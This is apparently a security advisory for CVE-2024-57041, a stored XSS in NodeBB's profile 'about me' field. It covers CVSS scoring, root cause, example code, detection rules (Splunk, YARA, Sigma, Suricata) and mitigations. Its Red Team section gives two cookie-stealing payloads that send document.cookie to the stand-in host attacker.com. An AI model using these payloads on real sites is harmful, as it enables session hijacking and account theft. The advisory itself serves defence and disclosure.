CVE-2024-57041

Executive Summary

CVE-2024-57041 identifies a persistent cross-site scripting (XSS) vulnerability in NodeBB v3.11.0. An authenticated remote attacker can inject arbitrary JavaScript code into the 'about me' section of their user profile. This stored payload is executed in the browsers of any user viewing the compromised profile, leading to session hijacking, credential theft, or defacement. The vulnerability is unpatched as of the latest advisory, and no official fix has been released by the vendor.

Supply Chain & Package Security

NodeBB is a Node.js-based forum software distributed via npm. The vulnerable component is the user profile rendering module. No malicious package versions have been identified in the npm registry, but the lack of a patch increases supply chain risk for deployments using version 3.11.0.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: Required (victim views profile)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires authentication and user interaction, but the stored XSS can persist indefinitely and affect multiple users.

Deep Dive & Mechanics

The vulnerability resides in the user profile editing functionality. When a user updates their 'about me' field, the input is stored in the database without proper sanitization or encoding. Upon rendering the profile page, the application fails to escape HTML/JavaScript content, allowing arbitrary script execution.

Root Cause: Lack of output encoding in the template rendering engine for the 'about me' field. NodeBB uses a templating system that does not automatically escape user-supplied content in this specific field.

Attack Flow:

1. Attacker logs in and navigates to their profile settings.
2. Attacker inserts a malicious payload into the 'about me' field (e.g., <script>alert('XSS')</script>).
3. The payload is stored in the database.
4. Any user (including administrators) viewing the attacker's profile triggers the script execution in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (NodeBB v3.11.0):

// In profile rendering controller
const aboutMe = userData.aboutme;
// Directly inserted into template without sanitization
res.render('profile', { aboutMe: aboutMe });

Patched Code (Hypothetical Fix):

// In profile rendering controller
const sanitizeHtml = require('sanitize-html');
const aboutMe = sanitizeHtml(userData.aboutme, {
    allowedTags: [],
    allowedAttributes: {}
});
res.render('profile', { aboutMe: aboutMe });

Exploitation & Lab Setup

Red Team

Prerequisites:

• NodeBB v3.11.0 instance
• Valid user account with profile editing privileges

Exploit Steps:

1. Log in to NodeBB as a standard user.
2. Navigate to /user/{username}/settings and edit the 'about me' field.
3. Inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the profile.
5. Share the profile link with target users or wait for administrators to view it.

Alternative Payload (Session Hijacking):

<img src=x onerror="new Image().src='https://attacker.com/steal?data='+document.cookie">

Blue Team

Detection:

• Monitor for unusual profile update activity, especially 'about me' field changes containing script tags.
• Use web application firewall (WAF) rules to block common XSS patterns in profile fields.

Hunting Query (Splunk):

index=web sourcetype=nodebb_logs
| search "aboutme" AND ("<script" OR "onerror" OR "javascript:")
| stats count by src_ip, user, _time

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains from NodeBB server or user browsers.
• File: Modified user profile entries in MongoDB containing <script> or onerror attributes.
• Log: NodeBB access logs showing POST requests to /api/user/*/settings with suspicious payloads.

Example IOC (MongoDB Query):

db.users.find({ "aboutme": { $regex: "<script|onerror|javascript:" } })

Detection Engineering

YARA Rule

rule nodebb_xss_aboutme {
    meta:
        description = "Detects XSS payloads in NodeBB aboutme field"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-57041"
    strings:
        $xss1 = "<script" ascii wide nocase
        $xss2 = "onerror=" ascii wide nocase
        $xss3 = "javascript:" ascii wide nocase
        $xss4 = "onload=" ascii wide nocase
    condition:
        any of ($xss*)
}

Sigma Rule

title: NodeBB Stored XSS in About Me Field
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in NodeBB profile aboutme field
author: Valters IT
logsource:
    category: application
    product: nodebb
detection:
    selection:
        field: "aboutme"
        payload:
            - "<script"
            - "onerror="
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of HTML in aboutme (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-57041 NodeBB Stored XSS Payload"; flow:to_server,established; content:"aboutme"; http_client_body; content:"<script"; within:100; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable profile editing for untrusted users via NodeBB admin panel.
2. Apply input sanitization using a library like DOMPurify on the client side and server side.
3. Implement Content Security Policy (CSP) headers to block inline scripts:

   Content-Security-Policy: default-src 'self'; script-src 'self'
   

Long-Term Fix:

• Upgrade to a patched version once released by NodeBB.
• Conduct a code review of all user-input fields for proper output encoding.

Workaround:

• Use a reverse proxy (e.g., Nginx) with ModSecurity to filter XSS payloads:

  SecRule ARGS "@rx <script" "id:1000,phase:2,deny,status:403,msg:'XSS detected'"
  

Valters IT
DevSecOps & Cyber Threat Intelligence